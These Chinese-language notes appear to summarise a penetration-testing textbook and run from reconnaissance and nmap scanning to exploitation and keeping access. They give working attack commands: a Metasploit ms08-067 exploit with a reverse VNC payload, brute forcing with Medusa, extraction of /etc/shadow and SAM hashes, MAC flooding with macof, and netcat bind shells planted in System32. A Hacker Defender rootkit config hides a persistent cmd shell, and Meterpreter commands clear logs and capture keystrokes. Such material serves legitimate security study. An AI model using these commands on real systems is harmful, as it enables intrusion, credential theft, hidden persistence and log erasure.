信息收集:
HTTrack - 网站复制机
克隆网站很容易被跟踪,同时也会被视为极具攻击性。
留意新闻公告和招聘启事。
渗透测试人员应该知道的Google黑客技术
Google Hacking for Penetration Testers
http://www.defcon.org/html/links/dc-archives.html
allintitle:index of
Web服务器上所有可用的索引目录列表
site:syngress.com intitle:"index of"
寻找无法通过网页正常访问的文件
inurl:admin
inurl:login
cache:只显示网页快照信息
The Harvester : 挖掘并利用邮箱地址
Whois Referral URL
Netcraft
Host: host target_hostname
host IP_address
扫描:
nmap
nmap -sT -p- -Pn 192.168.18.1-254
-p-指定扫描所有端口
-Pn 禁用主机发现功能并强行对每一个系统扫描
s扫描类型 T执行TCP连接扫描
-iL path_to_the_text_file
每行填写一个IP地址
默认SYN扫描 只完成了三次握手的前两步所以非常快 -sS
TCP(传输控制协议)连接扫描和SYN扫描都基于TCP进行通信,TCP被认为是“面向连接的协议”,需要通信双方保持同步
UDP(用户数据报协议)被称为“无连接的”,DHCP,DNS,SNMP,TFTP服务都是基于UDP协议的。
-sU 指定UDP扫描,UDP扫描非常慢,提供了很少的信息量,扫描结果几乎将所有端口都标记为open|filtered
,需要添加-sV参数用于版本扫描,即-sUV
,发送特制数据包识别服务,触发目标进行响应。
Xmas/Null扫描:从RFC文档寻找漏洞,只针对Linux系统。
调用NSE脚本,使用--script
参数,后面加上参数或脚本名以及目标IP。
nmap --script banner 192.168.1.1
banner脚本是一个Nmap扩展,创建到TCP端口的一个连接,并将目标系统发送的任何输出打印到本地终端。在识别隐藏端口上未识别服务时极其有用。
--script categor_name
调用整组或整个类别的脚本,如 --script vuln 192.168.1.1
将运行一系列在目标系统上搜索已知问题的脚本,通常只在发现漏洞时提供输出。
-T参数改变扫描端口速度,0最慢5最快。
-O参数识别操作系统。
Nessus
漏洞利用
Medusa
medusa -h target_ip -u username -P path_to_password_dictionary -M authentication_service_to_attack
Metasploit
VNC注入 要求目标系统基于GUI
从Nessus的报告或Nmap -script vuln
的输出开始利用过程。利用CVE或BID序号搜索匹配的漏洞攻击程序。
search ms08-067
use exploit/windows/smb/ms08_067_netapi
show payloads
显示可用攻击载荷
set payload windows/vncinject/reverse_tcp
选择载荷
show options
set RHOST 192.168.18.131
set LHOST 192.168.18.130
show options
exploit
密码破解
John the Ripper 通过基准程序衡量电脑性能
cd usr/share/john
john --test
Windows密码散列保存在SAM文件里,操作系统运行时无法访问SAM文件。需要在目标机器上启动其他操作系统(从光驱或U盘),并挂载本地硬盘。找到SAM文件,使用Samdump2提取散列。
微软原先的散列加密算法是LM,会将所有字符更改为大写并且固定14位字符(多截少补null),而且会被截断为两段各7个字符。
之后更改为NTLM算法。
Linux没有SAM文件,密码散列包含在/etc/shadow中,一般无权限访问。大多使用SHA散列加密算法。Linux还使用一个经过编辑的密码列表/etc/passwd,所有用户可读取。
unshadow /etc/passwd /etc/shadow > /tmp/linux_hashes.txt
密码重置
chntpw -i /mnt/sda1/WINDOWS/system32/config/SAM
流量
网卡默认运行在非混杂模式下,只会传递指向本机地址的特定网络流量。混杂模式则是强制网卡接收流入的所有数据包,可以嗅探到目的地址最初并非指向你的流量。若网络使用集线器连接8台计算机,1号向7号发送的流量实际会发送给其他所有连接到这个集线器的计算机,非混杂模式下其他计算机会直接丢弃流量。交换机则会参考MAC地址和端口号的匹配表,只将流量发送到7号。
大多数交换机用于保存包含MAC地址和对应端口号的匹配表的内存容量是十分有限的。通过耗尽这些内存并用大量伪造的MAC地址对该匹配表进行泛洪攻击,会导致交换机将流量广播到所有端口,这种模式被称为失效开放(fail open)。一些交换机被设置为失效关闭,即失效时直接停止数据传送,这导致了DOS攻击。
Dsniff网络嗅探工具集中的Macof可用来生成随机MAC地址对交换机泛洪。
macof -i eth0 -s 192.168.18.130 -d 192.168.18.2
Armitage
在Metasploit上运行的GUI工具,包含整个自动化的过程,对目标进行端口扫描并发动所有可能匹配的漏洞攻击。
hosts - nmap scan - quick scan(os detect) 提供IP或IP段
Attacks - Find Attacks 定位漏洞利用
Attacks - Hail Mary 自动发动攻击
More
收集各种不同的网络设备创建的默认用户名和密码。
RainbowCrack利用彩虹表破解密码。
Ettercap中间人攻击。
社会工程
SET社会工程工具包。
访问维持
Netcat:瑞士军刀
nc -l -p 1337
nc 192.168.28.132 1337
Windows版nc中,使用-L参数,即使在客户端断开连接后,目标计算机在特定的端口上仍然保持在连接状态。Linux中则需要写一个简单的bash脚本使nc重新启动。
nc -l -p 7777 > virus.exe
任何接收的输入信息都会被存储到文件virus.exe中。
传输文件时没有回显,等待片刻后CTRL+C关闭连接。
渗透中在Nmap和Nessus无法识别端口上运行的服务时,可以nc建立连接,发送信息并观察回显。默认建立的是TCP连接,可以使用-u参数强制发送UDP数据包。
如果使用-e参数启动nc,nc将会执行-e参数后指定的任何程序。
nc -l -p 12345 -e /bin/sh
nc.exe -L -p 12345 c:\Windows\System32\cmd.exe
配置后门时可使用-e参数将一个可执行命令的shell绑定到目标计算机的一个端口上。
使用Meterpreter将nc传到目标计算机System32目录下:
meterpreter > upload nc.exe c:\\windows\\system32
进入nc目录下,绑定cmd,开启nc:
meterpreter > nc -L -p 5777 -e cmd.exe
若想让后门在肉鸡重启后仍可用,需修改Windows注册表。
Nmap中的Ncat是现代版的Netcat。
Cryptcat
相当于nc的数据加密版。
Rookit
具有root权限,用来隐藏用户文件甚至操作系统本身。它可以通过挂钩(hooking)或拦截软件与操作系统之间的各种请求来进行工作,拦截并修改来自操作系统的相应。当用户识图查看进程列表时,Rookit可以从列表中瞬间删除查询到的程序、服务以及进程。
Hacker Defender
相当于Windows Rootkit。
Hxdef100.exe在目标计算机上运行;Bdcli00.exe是客户端,Hxdef100.ini是配置文件,支持*
通配符,可以在对应位置添加隐藏的目录、进程、服务、注册表键、开启的端口,可以自启动程序,欺骗磁盘空间。
将nc配置成自启动且在8888端口提供一个cmd的shell:
[Startup Run]
c:\rk\nc111nt\nc.exe -L -p 8888 -e c:\windows\system32\cmd.exe
Meterpreter
- clearev 清除应用程序、系统和安全日志中报告的所有事件。
- getsystem 命令meterpreter尝试将权限提升到最高级。
- hashdump 定位和显示目标上的用户名及散列。
- keyscan_dump 显示当前从目标计算机上捕捉的击键(需先运行keyscan_start)
- migrate 将Meterpreter shell移到另一个运行中的进程。
- screenshot 提供来自目标机器的屏幕截图。